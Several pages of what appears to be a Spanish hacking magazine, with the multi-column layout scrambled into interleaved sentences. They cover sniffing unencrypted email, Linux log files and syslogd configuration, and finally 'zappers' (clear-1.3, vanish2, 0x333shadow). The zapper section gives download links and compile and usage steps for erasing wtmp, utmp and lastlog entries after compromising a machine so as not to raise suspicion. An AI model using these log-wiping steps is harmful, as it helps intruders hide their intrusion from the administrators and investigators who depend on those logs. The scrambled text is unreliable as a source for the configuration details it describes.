la conexión sería controlar por ningún medio. Además, alestá seguro. este: enviar correos cifrados con PGP, aunque el destinatario utilice servidores sinEn la primera flecha, la conexión entre Origen -> Access Point -> Router -> conexiones seguras, el correo seguiráel origen y el AP, es donde voy a capturar {Internet} -> Servidor SMTPS -> siendo ilegible.el tráfico (imagen 23). Observando el {Internet} -> Servidor POPS ->log generado por Ethereal encontramos {Internet} -> Router -> Access Point - ¿Existe alguna opción más segura? Sí,cosas interesantes: > Destino cifrar correos con PGP y usar servidores con conexiones SSL, de forma que ni Comandos del servidor: EHLO Al capturar con Ethereal (imagen 24) t a n s i q u i e ra l a s c a b e c e ra s y l o s[192.168.0.32] en el mismo punto que en el ejemplo comandos del servidor podrán ser vistos anterior, podemos ver que solamente mediante sniffers. Cabeceras del correo: User-Agent: capturamos un galimatías sin sentido.Debian Thunderbird 1.0.2 Pero existe aún un punto flaco, en el Espero que estos inocentes ejemplos os(X11/20050331) intervalo entre el servidor SMTPS y el hayan hecho pensar en la importancia servidor POPS. De hecho, si el correo de utilizar los medios que están a El propio cuerpo del correo: Probando fuera enviado a una cuenta que no nuestro alcance para aumentar nuestracorreo sin cifrar... utilizara SSL para recibir correo, el seguridad a la hora de utilizar las esquema sería el siguiente: funcionalidades que las nuevasComo vemos, el correo entero está "al tecnologías nos brindan.desnudo" con este envío. Pero podría Origen -> Access Point -> Router ->haber sido peor... por ejemplo si el {Internet} -> Servidor SMTPS -> Con esto terminamos el artículo de estedestinatario utilizara POP sin cifrado {Internet} -> Servidor POP -> número. Como siempre, si existen dudaspara la recepción del mensaje: y/o problemas con cualquier práctica o {Internet} -> Router -> Access Point - elemento teórico, no tenéis más queOrigen -> Access Point -> Router -> > Destino hacernos una visita en el foro, donde{Internet} -> Servidor SMTP -> os recibiremos encantados. Os espero{Internet} -> Servidor POP -> Como vemos, SSL ofrece seguridad, en el próximo número, cuya temática...{Internet} -> Router -> Access Point - pero solamente dentro de su es una sorpresa. :-P> Destino "jurisdicción", es decir, que más allá de la conexión entre cliente y servidor, la Ramiro C.G. (alias Death Master)Lo que en la práctica significa una postal cosa queda a merced de los medios quedesde su origen a su destino. conecten los servidores. 24
  • 24. http://totalred.blogspot.com Muy buenas, es la primera vez que escribo para la revista, espero que os guste y no quedéis decepcionados :-). Si creéis que algo no está bien, veis alguna errata o tenéis alguna duda, posteadla en el foro (http://www.hackxcrack.com), y se hará lo que se pueda :-p. Este artículo es bastante teórico, siento que sea así, pero es que la teoría es necesaria para luego saber aplicarla a la práctica, el borrado/edición de “huellas” :-). Aun así espero que sea lo más ameno posible ;) Como partimos desde cero, voy a empezar explicando lo más básico... Si ya sabes lo que son los logs y donde se guardan, sáltate este apartado. Si ya crees saberlo todo sobre los logs, pasa al siguiente artículo! :P día la página apareció “defaceada”. Gracias a los logs que me permitía ver mi hosting, para ser más concretos los Bien, supongo que la mayoría ya lo sabréis, o habréis oído de Apache (access.log) pude averiguar la IP del juanker hablar de ellos, pero siguiendo la filosofía de la revista (no, El_JuanKer no fue :D) que nos había fastidiado, que vamos a explicarlo todo paso a paso. resultó ser uno de otro clan. No pudimos hacer nada legalmente, pero bueno :P. Esto no deja de ser una Los ficheros log se encargan de registrar los eventos que anécdota, pero es para que veáis que los logs sí que tienen ocurren en el sistema, aplicaciones incluidas. ¿Qué eventos? su utilidad, incluso para los que no son administradores Pueden ser accesos al sistema, mensajes de información de sistemas. del kernel, el tráfico capturado por un sniffer e incluso los famosos logs del IRC, TODO esto son ficheros log, o en Para los SysAdmins es obligatorio revisar los logs! Si cristiano, ficheros de registro. Normalmente “ficheros log” eres SysAdmin y no revisas los logs... tirón de orejas y lo solemos recortar a simplemente “logs”, así que de aquí a partir de ahora a revisarlos! en adelante me referiré a ellos como logs ;) Ficheros logs hay de dos tipos, los de texto plano y los El usuario doméstico suele pensar que los logs no tienen binarios, que dependen de aplicaciones externas para ninguna utilidad, o que para qué los van a revisar si a él ver la información que contienen. no le van a hackear... O simplemente no sabe de su e x i s t e n c i a . . . B i e n , y o n o s o y n i n g ú n Sy s A d m i n (Administrador de Sistemas) pero en alguna ocasión me han solucionado más de un problema. Hace algún tiempo En general, se pueden guardar donde el usuario teníamos una página de un clan del Age of Empires, con quiera, excepto algunas aplicaciones que los guarda PHP-Nuke instalado, había “pique” entre clanes y un buen donde a ella le da la gana, pero casi siempre nos dejarán 25
  • 25. /var/log/daemon.log: Contiene los logs de los demonios que se cargan en el sistema. /var/log/mail.log: En caso de tener un servidor SMTP en el equipo, nos muestra información de todos los mensajes que entran y salen de nuestro servidor. /var/log/boot.log: Contiene los mensajes de arranque del sistema. /var/log/loginlog: Este fichero log contiene los registros de intentos de login fallidos. Solo se registran si se han realizado 5 o más intentos fallidos, aunque esto se puede cambiar en elCaptura del contenido del directorio /var/log de mi Ubuntu. Figura 1 archivo /etc/default/login en la entrada RETRIES, modificando el número queelegir la ruta donde guardar los logs. general, si alguno no aparece no te salga por el que queráis.Por ejemplo, en el snort añadimos el preocupes, sigue leyendo ;)parámetro “-l /ruta/de/logueo” al /var/log/sulog: Contiene informaciónejecutarlo y lo guardará en la ruta que Los he dividido en ficheros log de texto acerca de las ejecuciones de la ordenle hayamos indicado, o también hay plano y binarios: su. Indica la fecha, la hora, el usuarioalgunos programas que en la compilación que lanza el comando su y el login quese puede especificar la ruta de los logs. adopta, la terminal asociada y si se haEl demonio Syslogd también maneja las realizado con éxito (+) o fracaso (-).rutas de logueo, pero esto lo veremos /var/log/syslog: En este fichero log En algunas distros Linux es necesariomás adelante, en el apartado de se almacenan todos los logs por defecto. editar el fichero /etc/login.defs y marcarSyslogd. En teoría es el más importante, aquí que sí queremos loguear los registros estará TODO lo que busquemos, si no de “su”.Como hemos dicho en este último está en ningún otro fichero log estarápárrafo, los logs se pueden guardar aquí... Pero esto lo podemos cambiar, $HOME/.bash_history: Mmm... estedonde el usuario quiera, pero en el apartado de syslogd lo veremos. log se suele pasar por alto, pero puedenormalmente se usa un directorio tener información sensible, lo que /var/log/messages: Contiene“estándar” para guardarlos, el /var/log. contiene este fichero es un historial de mensajes del sistema, no es un logDentro de este directorio suelen estar todos los comandos que hemos “alerta”, es más bien informativo. Puedetodos los logs del sistema por defecto. ejecutado en la shell BASH... El $HOME venir bien para arreglar posiblesAlgunas distros de GNU/LiNUX usan otro quiere decir que está en la carpeta home problemas en el sistema.directorio, el /var/adm, y no me d e l u s u a r i o, e n m i c a s o e s t á e npreguntéis porque :P.(figura 1) /home/ivan/.bash_history. /var/log/secure: En este fichero están los logs de todas las conexiones que se $HOME/.mysql_history: Este también realizan hacia nuestra máquina. es muy peligroso, solo si está instalado /var/log/auth.log: Contiene el el cliente MySQL encontraremos este registro de todas las autentificaciones fichero log. Contiene todas las órdenes en el sistema, tanto las “buenas” como introducidas en el cliente mysql, porAhora vamos a entrar en materia ya... las fallidas. ejemplo, si introducís una orden paraVamos a ver los archivos log más cambiar la contraseña de root de MySQL,comunes de GNU/Linux y UniX en /var/log/debug: Aquí es donde se aquí quedará grabada esa órden... Logeneral, junto a una breve descripción. almacena la información de depuración del $HOME es igual que en el log de los programas que ejecutamos en el anterior.Puede que algunos de los logs que sistema. Esta información la envía elnombro no aparezcan en vuestra distro... núcleo del sistema (Kernel) o bien losal menos por defecto. Ahí ya no me propios programas.puedo meter, cada distro es un mundo, /var/log/wtmp: Almacena toda lavoy a nombrar los que son más “vistos” /var/log/kern.log: Aquí están los información de conexiones y desco-en la mayoría de distros y Unix en mensajes que vienen del kernel. nexiones al sistema. 26
  • 26. http://totalred.blogspot.com La estructura de este fichero es utmp. enorme y eso no es muy recomendable Resumiendo, Syslogd es el demonio Contiene información como el nombre :P. encargado de loguear los eventos que de usuario, por donde accede, el origen ocurren en nuestro sistema. y la hora de acceso. Al ser un fichero Para ver los logs es necesario ejecutar binario, para verlo se necesita un el comando lastcomm o acctomm. Syslog tiene otro demonio más aparte programa externo, en este caso, se tiene Ahora vamos a ver una de las partes de syslogd, el klogd. De momento no que ejecutar el comando last. más importantes de los logs de lo vamos a tocar, con saber que es el GNU/Linux y UniX, del que seguro demonio que se encarga exclusivamente /var/log/utmp: Contiene información habréis oído hablar, sí, me estoy de los mensajes del kernel nos basta, de todos los usuarios conectados. No refiriendo al demonio syslogd :-p. de todas formas, man klogd :P incluye los usuarios que están conectados a servicios como FTP, IMAP, Bien, espero que haya quedado claro lo etc. La razón es que estos servicios no que es Syslogd y syslog, ahora vamos utilizan utmp para loguear. a lo “fuerte”, vamos a ver la configura- ¿Qué es Syslogd? Syslogd es el demonio ción del demonio Syslogd... Como en el caso anterior y en todos los de Syslog. Ahm... y ¿qué es Syslog? binarios, para verlo es necesario teclear Syslog es un estándar de facto para el comando w o who, que dará una controlar, redireccionar y administrar salida con los logins de los usuarios mensajes log en una red TCP/IP. El conectados, la terminal por la que se término “Syslog” se utiliza indistin- Bien, el demonio Syslogd se configura han conectado, la fecha y la hora. tamente tanto para el protocolo syslog a través de reglas, como iptables, como para la librería o aplicación snort... pero de diferente manera claro /var/log/lastlog: Contiene la fecha y encargada del envío de los mensajes. ;) Y ¿Dónde se colocan estas reglas? la hora de la última conexión de cada Syslog se suele usar para la auditoria Pues en su archivo de configuración, usuario existente en el sistema. Si un y administración de sistemas. que está por defecto en /etc/syslog.conf. usuario nunca se ha logueado, en vez Vamos a coger nuestro editor/visua- de salir la fecha y la hora de la última El protocolo syslog es muy simple, el lizador de texto plano preferido y vamos conexión saldrá el mensaje “**Nunca emisor de syslog envía mensajes de a abrir el fichero de configuración, para ha entrado**”. El visor para ver la texto cortos al receptor de syslog. El ver su aspecto. Que, acojona eh? información de este log es el comando receptor es el antes mencionado Haceros una idea de lo que nos espera... lastlog. “Syslogd”, nótese la “d” del final que muahahaha! Es broma, es sencillito, significa daemon (demonio). Estos igual al principio cuesta pero no es nada /var/log/faillog: Contiene los intentos mensajes son enviados a través del :)(figura 2) de login fallidos que se han hecho en el protocolo de transporte UDP (ya se ha sistema. Es muy parecido al anterior, hablado de UDP en la revista en los Como vemos en el syslog.conf hay pero en vez de mostrar los últimos excelentes artículos de PyC :)) en texto bastantes reglas predefinidas y accesos, muestra los intentos de login plano. comentarios (las líneas que empiezan fallidos. El visor para verlo es el comando faillog. Mi archivo /etc/syslog.conf Figura 2 acct (o pacct): Registra los comandos ejecutados por todos los usuarios. Solamente los comandos, los a r g u m e n t o s n o. F u n c i o n a s i e s t á activado el proceso “Accounting”, que se activa mediante el comando accton, y es necesario tenerlo instalado, aunque en algunas distros ya viene por defecto. Si no lo tenemos instalado ya sabéis, “apt-get install acct && accton” y si no usáis Debian o alguna basada en ésta buscáis el .tar.gz y lo instaláis. Este log es bastante eficaz, por ejemplo aunque el atacante pare el proceso acct, en el log aparecerá el comando ejecutado por el atacante para pararlo. El único inconveniente es que si usamos bastante la máquina el log se hará 27
  • 27. http://totalred.blogspot.compor #). Lógicamente lo que a nosotros syslog: Los logs generados máxima, ya, ya se que no era difícil denos interesa son las reglas :P. Vemos internamente por el demonio syslogd. adivinar :Pque todas las reglas tienen el mismo lpr: Logs procedentes de la/s Aquí tienes un esquema que nos serviráformato, dos campos separados por una impresora/s. para tener todo esto más claro por sio varias tabulaciones. El primer campo no lo has entendido con tanto palabro,se llama selector y el segundo campo news: Logs del sistema de noticias, también nos servirá como referenciaacción. en caso de tener un servidor de news durante un buen rato, así que no lo instalado. pierdas de vista :)(figura 3)El selector a su vez consta de lasfacilities y las priorities, separadas uucp: Logs generados por el sistemapor un punto. Jarrrllll... las faciqueee?? UUCP. UUCP viene de Unix to Unix Copy, Lo que vemos a la izquierda son losPrioriqueee??? Que me estás contando... uno de los protocolos más antiguos y selectores. Dentro de los selectores, enTranquil@, ahora verás :P que originalmente se utilizaba para azul tenemos las facilities, en rojo las copiar archivos entre sistemas UniX, priorities, y en amarillo los caracteresLa acción, como su nombre indica, es pero lo poco que se utiliza actualmente especiales, que ahora explicaré. Si hasla acción a tomar cuando se cumple el e s p a ra e nv i a r y r e c i b i r c o r r e o s entendido todo lo explicado y eres buenselector. Normalmente la acción es la electrónicos y noticias. observador verás que en casi todas lasruta de un archivo log, pero también se cron: Logs generados por el demonio reglas hay 2 o más facilities, y enpuede enviar a los usuarios, a la CRON. Cron es el encargado de la algunas dos priorities... Bueno, en losimpresora, a otro host... Un poco más programación de tareas periódicas, como selectores se pueden concatenar lasadelante veremos esto ;) el comando AT de Windows. facilities y las priorities en una mismaAhora sí, vamos a ver que es eso de las línea, si queremos por ejemplo que dos Priorities: facilities con priorities diferentes sefacilities y las priorities, o en cristiano:Las facilidades o servicios y las envíen a un mismo fichero log no debug: Logs de depuración de unprioridades, lo he puesto en inglés tenemos más que concatenarlos con un programa.porque queda más l33t... jajaja no punto y coma (carácter especial), comohombre, lo he puesto en inglés porque info: Logs informativos. la primera línea. En la segunda líneaes como se les suele llamar :P vemos dos facilities pero no están notice: Logs de sucesos significativos separadas por punto y coma, si no por pero normales. una coma simple (otro carácterLas facilities procuran identificar elprograma que originó el/los mensaje/s especial), esto indica que para los dos warn o warning: Logs de adver-log. se usará la misma prioridad, ahora lo tencia, como el propio nombre indica veremos más detalladamente. :PLas priorities clasifican el nivel de Un apunte importante... cuando seimportancia del mensaje log. err: Logs de error. especifica una prioridad estamos diciendo “esa prioridad y susEn el fichero de configuración vemos crit: Logs que indican situaciones i n f e r i o r e s ”, p o r e j e m p l o , s ique aparecen muchas palabras “raras” críticas. especificamos la prioridad notice:P Esas palabras son los tipos de facilities registrará también los mensajes cony de priorities, vamos a verlos todos alert: Logs de alerta. Si nos prioridad debug e info, así con todos.con una breve explicación: encontramos con uno de estos, es muy Si queremos evitar esto, debemos usar importante hacer algo rápido, si no... el carácter especial igual (=), comoFacilities: Ya sabes... xD veremos en el próximo apartado. kern: Estos son los logs procedentesdel kernel. emerg: El sistema se ha vuelto inoperable, vamos que la hemos liao. Los caracteres especiales nos permiten user: Son los logs generados por aprovechar más la estructura deprocesos aleatorios del usuario. Están ordenados de menor a mayor lasreglas, vamos a ver los tipos de prioridad, debug es la prioridad mínima caracteres especiales que hay, su función mail: Logs del sistema de correo, en mientras que emerg es la prioridad y algún ejemplo.caso de tener un servidor instalado. mail.warn;news.warn;auth.* /var/log/messages daemon: Logs procedentes de los kern,mail.warning -/var/log/kern_mail.logdemonios del sistema. kern,mail.=warning -/var/log/kern_mail_warn.log kern.err;kern.!=warning /var/log/kern_warn_negado.log authpriv y auth (éste último en *.alert /var/log/alerts.logdesuso): Logs de seguridad y delsistema de autorizaciones. Figura 3 – Esquema 1 28
  • 28. http://totalred.blogspot.com El asterisco (*): El asterisco se em- con prioridad warning y solamente A un fichero log de texto plano: plea como “comodín”. Cuando aparece warning! :P Nada de priorities infe- Sobran las palabras creo, no? :) Lo que un asterisco quiere decir que se refiere riores... hemos estado viendo todo el rato :) a todas las facilities o todas las priorities A una terminal o a la consola: dependiendo de la posición en la que El signo de exclamación (!): Con Syslogd nos ofrece la posibilidad de aparezca. Como ejemplo vamos a la el ! delante de la prioridad indicamos enviar los logs directamente a una figura 3 y vemos que la primera línea que queremos exceptuar esa prioridad terminal o a la consola con la que tiene el asterisco al final. Como está y sus inferiores. Lo podemos combinar estamos trabajando, de forma que detrás del punto que separa las facilities con el igual, de tal forma que quede podríamos ver los logs “in situ”. La de las priorities, sabemos que ese “!=”, con esta combinación lo que verdad es que fastidia un poco que te asterisco hace de comodín para las hacemos es exceptuar esa prioridad lleguen mensajitos mientras estás priorities, es decir lo que hacemos con pero no sus inferiores. Como ejemplo, listando los archivos de tu home por ese comodín es indicar “Todas las en la cuarta línea del esquema 1 vemos ejemplo... pero seguro que los ves! :P. priorities”. En la última línea de la misma como con la combinación de estos En la segunda y tercera línea del figura vemos también como aparece caracteres especiales decimos que se esquema 2 vemos un ejemplo de esto, otro asterisco, pero esta vez delante logueen los mensajes del kernel con la regla de la línea 2 envía los logs a la del punto, por lo que indica “Todas las prioridad info e inferiores pero que no terminal 2 (tty), y la regla de la línea facilities”. Explicar esto es un poco se registren los que tengan prioridad 3 los envía a la consola con la que engorroso, pero una vez lo pillas es de warning exclusivamente, ya que lleva estamos trabajando (/dev/console). lo más útil, ya que el asterisco como el símbolo “=” combinado con “!”. A un usuario (o a todos): Esto es comodín no solo se utiliza aquí, seguro simple, se especifica solo el usuario o que en la línea de comandos lo has los usuarios a los que queremos enviarle utilizado más de una vez para referirte los logs y se le mostrará en la consola. a un archivo cuando no sabes su nombre Siguiendo el esquema 1, vemos a la Si queremos enviar los logs a todos los completo :P derecha el campo acción, separado por usuarios, lo hacemos con el asterisco tabulaciones del campo selector. El El punto y coma (;): Como dije “*”. En el ejemplo del esquema vemos campo acción tiene en verde la acción antes, este carácter especial se utiliza en la línea 4 como envía todos los logs a hacer en caso de que se cumpla el para concatenar varias del kernel con prioridad crítica a los selector y en algunas reglas tiene un facilities+priorities en una misma línea. usuarios “root” e “ivan”. En la línea 5 guión (-), color turquesa. Este guión Ejemplo: La primera línea del esquema vemos como envía todos los logs con indica que no se sincroniza cada vez 1 aparecen 3 facilities y 3 priorities prioridad emerg a todos los usuarios. que existe una entrada en ese log, así (recuerda que el asterisco del final es que si el sistema se cae podemos perder A la impresora: Si activamos el modo comodín ;)), como vemos están datos. La ventaja que conseguimos con paranoico podemos enviar los logs concatenadas mediante un punto y esto es una mejora en la velocidad, directamente a la impresora, esto en coma. Como ya dije, la utilidad de sobre todo si hay muchas aplicaciones mi opinión es un poco paranoico, pero concatenar varias facilities y priorities enviando logs a Syslogd. por seguridad que no falte :P. Es similar es la de dirigirlas a un mismo destino, a enviarlos a una terminal, pero a la en este caso a un mismo archivo. Voy a poner un nuevo esquema, con impresora. En la sexta línea del esquema La coma (,): La coma sirve para acciones que no hemos visto hasta 2 vemos como todos los logs con especificar a múltiples facilities una ahora:(figura 4) prioridad warn e inferiores se envían al misma prioridad. En la segunda línea dispositivo /dev/lp1, que viene a ser la del esquema 1 vemos como hay dos Antes dije que la acción normalmente impresora. facilities separadas por una coma y era la ruta a un archivo log, pero como detrás del punto la prioridad de esos A otro programa a través de un también dije no siempre es así, podemos dos facilities. fichero FIFO (tubería con nombre): enviarlo a otros medios, a continuación Podemos enviar los logs a otro programa El espacio ( ): El espacio indica que veremos todos los medios junto a una a través de un fichero FIFO (First In no hay priorities definidas para las breve explicación de como hacerlo y un First Out, lo Primero que Entra es lo facilities. ejemplo (como no :P): El igual (=): Con el = delante de una kern,mail.info /var/log/messages prioridad indicamos que solo se auth.* /dev/tty2 almacenen los mensajes con una kern.crit /dev/console prioridad determinada, no incluyendo *.=alert root, ivan sus inferiores. En la tercera línea del *.=emerg * esquema 1 vemos el carácter especial *.warn /dev/lp1 “=” delante de la prioridad, lo que *.info @nombre.del.host.remoto estamos diciendo es que se almacén los mensajes de las facilities kern y mail Figura 4 – Esquema 2 29
  • 29. http://totalred.blogspot.com mkdir /var/log/pipes #creamos el directorio pipes en /var/log mkfifo -m 600 /var/log/pipes/autentificaciones #creamos un archivo FIFO llamado autentificaciones con chmod 600 mkfifo -600 /var/log/pipes/todo #ídem del anterior, pero llamado “todo” Listado 1 seguido todos los pasos exactamente auth.* |/var/log/pipes/autentificaciones como he descrito saldrá bien. Podemos *.* |/var/log/pipes/todo hacer dos cosas, reiniciar el SO para que el mismo levante los servicios, o Listado 2 levantarlos nosotros y no reiniciar... Si #!/bin/bash habéis elegido esto último, aquí los pasos /usr/bin/logcolorise.pl /var/log/pipes/todo >/dev/tty3& para hacerlo (como root): Listado 3 Miramos el PID de syslogd (ps aux | grep syslogd), matamos el proceso (kill PID) yPrimero que Sale), también llamado Ahora editamos el fichero de confi- volvemos a ejecutar syslogd, esto lotubería con nombre o fichero de tipo guración /etc/syslog.conf y creamos las hacemos para que syslogd cargue lasPIPE. Los ficheros FIFO son bastante reglas para que nos envíe los logs a los nuevas reglas que hemos añadido.comunes en sistemas UniX, la función archivos FIFO que hemos creado, esto Después ejecutamos el script /etc/init.d/de estos ficheros es actuar de lo hacemos poniendo el símbolo de pipe logsdecolores y ya lo tenemos todo prepa-intermediario entre dos programas, un ( I ) antes de la ruta del archivo FIFO. rado, ahora abrimos una consola y nosprograma envía los datos al fichero FIFO El carácter “|” se pone con Altgr+1(ver logueamos y deslogueamos varias vecesy éste los almacena temporalmente, listado 2). como root, metemos la password malpara poder ser recogidos después por adrede... y por fin, vamos a la terminal Con estas reglas estamos diciendo que tty3 (Ctrl+Alt+F3) y... Ohh! Se ven losun segundo programa. Por ejemplo, la envíe los logs de la facility auth con logs coloridos!!! Si volvemos al entornosalida de un programa servirá de entrada todas las prioridades al archivo FIFO gráfico (Ctrl+Alt+F7), volvemos ade otro programa. Cabe destacar de los situado en /var/log/pipes loguearnos y a desloguearnos unas cuantasficheros FIFO que los datos que le llegan /autentificaciones, y que los logs que veces y vamos a la terminal tty3, veremosno se guardan en el disco duro, si no vengan de todas las facilities con todas que aparecen los nuevos logs, esto esen un buffer, cuando el segundo las prioridades (todos los logs) los envíe gracias a que logcolorise.pl está ejecutadoprograma recoge los datos se vacía ese al archivo FIFO /var/log/pipes/todo. en el background a la espera de que entrenbuffer y sigue a la espera de nuevosdatos. En nuestro caso lo que hacemos nuevos logs al fichero FIFO Ahora haremos un script de inicio paraes enviar los logs a un archivo FIFO /var/log/pipes/todo para recogerlos e que se ejecute al arrancar el SO, conpara que otro programa externo pueda imprimirlos en la terminal:). una órden que hará que logcolorise.plrecogerlos y tratar con ellos. Para aclarar lea los logs del archivo FIFO Espero que esto se haya entendido, esesto un poco, vamos a ver /var/log/pipes/todo y lo imprima en la muy importante, si no lo habéis enten-logcolorise.pl, un script en Perl que terminal tty3 todo colorido :). Supongo dido a la primera volverlo a leer, si aunrecogerá los logs de un PIPE y los que ya sabréis como hacer scripts de no lo acabas de entender, no dudes enredirigirá a una terminal, pero con un inicio... No? Joe... Bueno, lo explico preguntarlo en el foro, que yo o quiencambio, formateará los logs y saldrán para sistemas Debian o basados en él, sepa te responderá gustosamente :) Lade colores, para que sean más legibles si usáis otra distro buscáis por el foro url del foro es: http://www. hackxcrack.y más bonitos :P. como hacerlo o en google ;). Primero com/phpBB2/index.php.Lo primero que tenemos que hacer es creamos el bash-script en /etc/init.d/ A otro host: Esta es de las mejoresbajarnos el script logcolorise.pl, su con el nombre “logsdecolores” :P El opciones. Los logs se pueden enviar a otroweb oficial no va, yo lo he bajado de la archivo contendrá:(ver listado 3) host, esto nos da la gran ventaja de queprimera url que me ha salido en google, si comprometen el servidor, los logs no Supongo que lo entenderéis, porque enhttp://linuxbrit.co.uk/downloads/logc estarán almacenados en él, si no en otro el párrafo anterior he dicho lo queolorise.pl. Lo descargáis con wget en host destinado exclusi-vamente al hacía... Venga, guardamos el bash-script/usr/bin, y le dais permisos de ejecución almacenamiento de logs, aunque esto no y le damos permisos de ejecución concon chmod +x /usr/bin/logcolorise.pl. tiene porque ser así, pero es lo ideal para “chmod +x /etc/init.d/logsdecolores”.Ahora seguimos los pasos que muestro la seguridad, ya que el atacante tendría Después ejecutamos la órden “update-a continuación, siempre como root. He que compro-meter también el host que rc.d logsdecolores defaults” y si no dapuesto un comentario en cada órden almacena los logs, que podría ser un ningún error ya tenemos el script parapara explicar que es lo que hace cada equipo con los mínimos servicios corriendo, que se ejecute al inicio del SO.una, empieza por una almohadilla y está una buena política de seguridad y un buenen color turquesa, eso no lo copiéis!(ver firewall, vamos que sería difícil hackearlo Ahora toca probar el sistema, si haslistado 1) ;) 30
  • 30. http://totalred.blogspot.com Para que el host remoto pueda recibir los logs tiene que ejecutar syslogd con la opción “-r”. También hay que tener en cuenta que para recibir los logs tiene que aceptar todo lo que entre por el puerto 514 de UDP, así que a configurar los firewalls toca! También hay que configurar los dos syslogd para procesar bien los logs y que vayan a donde tienen que ir. En el servidor tenemos que redirigir los logs al host encargado de almacenar los logs, para Contenido del fichero /var/log/autentificaciones_web Figura 5 hacer esto creamos una regla cualquiera pero en el campo acción ponemos una arroba (@) y el nombre del host remoto, previamente definido en /etc/hosts para más seguridad. En el host remoto tenemos que crear las reglas para que actúe consecuentemente, creamos la misma regla que en el servidor pero en el campo acción ponemos el destino que se nos antoje, a una terminal, a un archivo log... Vamos a hacer una práctica para que quede más claro. Paquetes de Syslogd capturados con Ethereal Figura 6 Tenemos un servidor de páginas web Ya tenemos los dos syslogd configu- si es conmutada (número 11 de la llamado WebServer. También tenemos rados, ahora falta reiniciar syslogd, pero revista, artículo de ARP-Spoofing de un host encargado de almacenar los en el host remoto lo iniciaremos con la moebius)... ¿Hay alguna manera de logs de WebServer, este host se llama opción “-r”. Como root, en el WebServer evitar esto? Pues sí, una solución podría Logger y tiene la IP 192.168.0.3. buscamos el PID de syslogd como antes ser unir estos dos equipos con dos En el WEBSERVER, editamos el fichero dije que se hacía, lo matamos y tarjetas de red aparte y cable cruzado, /etc/hosts y añadimos al final la IP del volvemos a ejecutar “syslogd”. En el y la otra podría ser cifrando los Logger que es 192.168.0.3 y el nombre, host Logger lo mismo, pero lo paquetes, ¿Cómo? Con una combinación que viene a ser “Logger”, guardamos, ejecutamos con “syslogd -r”. Y ya está!! de lo que hemos visto en el apartado salimos del editor y le hacemos un ping Ahora en el WebServer hacemos un par anterior (archivos FIFO) + SSH... Pero a Logger para ver si lo hemos hecho bien, de logins fallidos y no fallidos, vamos no me quiero extender más con esto, “ping -c 2 Logger”. Ahora editamos el al Logger y le hacemos un cat al fichero así que si estáis interesados, a google! fichero /etc/syslog.conf y creamos una /var/log/auten tificaciones_webserver nueva regla, por ejemplo una que envíe y ohh! Salen las autentificaciones, todos los logs de facility auth y todas las indicando que proviene de la IP del prioridades al equipo Logger. Quedaría así WebServer. el /etc/syslog.conf:(ver listado 4) Podemos enviar mensajes a Syslogd con Pero, ¿qué pasa si en el host Logger el programa logger, puede servir si nos autentificamos, también se [...] tenemos un shellscript y queremos que logueará? Pues si, pero en lugar de auth.* @Logger guarde logs, o si queremos hacer el poner la IP del WebServer pondrá el tonto un rato y simular un ataque... lo Listado 4 nombre de la máquina local:(ver figura que se os ocurra! Los logs actuarán Bien, ahora vamos al host Logger y 5) según las reglas de syslogd. La sintaxis editamos también el fichero /etc/ para enviar un mensaje desde una Una cosa interesante también es que si syslog.conf para que envíe todo lo que determinada facility y con una prioridad ponemos un sniffer a la escucha, cuando venga de auth.* al fichero /var/log/auten es: “logger -p facility.priority “Mensaje””. hagamos logins veremos los paquetes tificaciones_webserver. Quedaría así:(ver que el WebServer manda al Logger listado 5) Esto aparte de por si queremos que un :)(ver figura 6) shellscript pueda loguear, no le veo [...] Esto da para algunas preguntas... ¿No mucha más utilidad, pero bueno seguro auth.* /var/log/autentificaciones_webserver se podrían “interceptar” los paquetes? que vuestra imaginación es mejor que Si, tanto si la red es compartida como la mía :). Listado 5 31
  • 31. http://totalred.blogspot.comC o n e s t o ya h e m o s a c a b a d o c o n llamada clear-1.3 con un Makefile, un varias veces, mejor utilizar el clear13aSyslogd... ya era hora eh! Nada, ahora README y dos archivos C (clear13a.c y de golpe y ya está. Otro ejemplo de usovamos a ver lo que supongo que estaréis clear13b.c). Tenemos que compilarlos, de clear13b sería si el usuario ya existía,esperando... la edición y el borrado de p e r o a n t e s va m o s a h a c e r u n a s hemos adivinado la pass y hemoslogs! pequeñas modificaciones a los archivos entrado con ese usuario, borramos solo C poniendo la ruta correcta de nuestros el último log para no levantar sospechas archivos log. Para esto editamos primero dejando los anteriores como estaban. el fichero clear13a.c y las constantes La sintaxis es muy sencilla, simplemente WTMP_NAME, UTMP_NAME y ./clear13[ab] nombre_de_usuario, LASTLOG_NAME las cambiamos a la ruta siendo [ab] el clear13a o el clear13b,Realmente esto no tiene mucho misterio, donde tenemos los logs en nuestro lo dicho anteriormente.ya que tenemos muchas herramientas sistema, normalmente /var/log (paraque nos facilitan la tarea de editar y wtmp y lastlog) y /var/run/utmp (para Ejemplos:borrar los logs, estas herramientas se utmp). Nos quedaría así:(ver figura ./clear13b hackxcrack -> Borrará lallaman “zappers”. 7). última entrada del usuario hackxcrack.Cuando los logs son de texto plano lo Guardamos y cerramos. Con el ./clear13a hackxcrack -> Borrará todaspodemos hacer nosotros mismos, con clear13b.c hacemos lo mismo. Después las entradas del usuario hackxcrack.cat y grep se pueden hacer maravillas vamos a la consola, entramos al(ahora veremos algún ejemplo), pero directorio donde tenemos el clear-1.3 El vanish2 es más completito, le pasaspara los binarios lo tenemos más difícil, y tecleamos “make” para compilarlos. el usuario, el hostname y la IP quepor eso necesitamos los zappers ;). Si no hay ningún problema ya lo quieres borrar y los busca por todosVamos a ver tres zappers, el clear-1.3 tendremos compilado. Os estaréis esos ficheros, y cuando lo localiza... sedel conjunto de utilidades thc-uht del preguntando que diferencia hay entre lo carga :) Lo podéis bajar degrupo THC, el 0x333shadow del grupo clear13a y clear13b... Pues bien, los http://packetstorm.linuxsecurity.com/0x333 y el vanish2 de “Neo the dos borran los logs del usuario que le UNIX/penetration/log-wipersHacker”. pases como argumento en la línea de /vanish2.tgz, lo único que habrá que comandos, pero clear13a borra TODAS editar el fichero vanish2.c y en todasPara instalar clear-1.3 debemos bajar las entradas de ese usuario, mientras las funciones exit() que salen añadir unel thc-uht (THC-UnixHackingTools) de que clear13b solo borra la última 0 al paréntesis, si no dará error alhttp://www.thc.org/download.php?t=r entrada. Uno puede ser útil para unas compilarlo. Os lo podéis bajar ya&f=thc-uht1.tgz y descomprimirlo, una situaciones y el otro para otras, por compilado de www.hackxcrack.comvez descomprimido veremos muchas ejemplo si hemos comprometido la /programas/vanish2.zip, pero lo heutilidades, entre ellas habrá un archivo máquina y nos hemos logueado una sola compilado con la ruta de mis logs decomprimido llamado “clear-1.3.tar.gz”, vez podemos utilizar el clear13b, si en apache2, que es 